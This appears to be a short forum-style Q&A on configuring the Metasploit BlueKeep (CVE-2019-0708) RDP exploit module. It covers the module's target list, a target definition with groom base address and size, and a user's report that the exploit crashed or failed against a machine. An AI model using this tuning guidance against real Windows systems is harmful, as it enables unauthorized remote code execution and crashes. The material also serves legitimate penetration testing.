You will need to set the correct target and may need to set the appropriate groom base and groom size.

The Bluekeep module is also not 100% reliable.

How to set groom base and size

How to set groom base and size

GROOMBASE can be set as a module option:

set GROOMSIZE <size>

The GROOMBASE is hard coded for each target. The following targets are available:

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic targeting via fingerprinting
   1   Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
   2   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)
   3   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)
   4   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)
   5   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)
   6   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.5)
   7   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)
   8   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)

If a target does not exist for the target system, you will need to add one to the module code. This guide may be useful in adding a target:

Example:

            [
              'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',
              {
                'Platform' => 'win',
                'Arch' => [ARCH_X64],
                'GROOMBASE' => 0xfffffa8003800000,
                'GROOMSIZE' => 100
              }
            ],

Well in a machine i tried to exploit the 250MB groomsize was default but the machine kept crashing as im on 20-34 MB so i set the GROOMSIZE to 20MB but then it says exploit failed..

The BlueKeep module requires the correct groombase and groomsize. The module contains several targets with the appropriate groombase and groomsize. These targets have been field tested, but the module is not 100% reliable.

Refer to the following guides for information related to configuration and adding new targets:
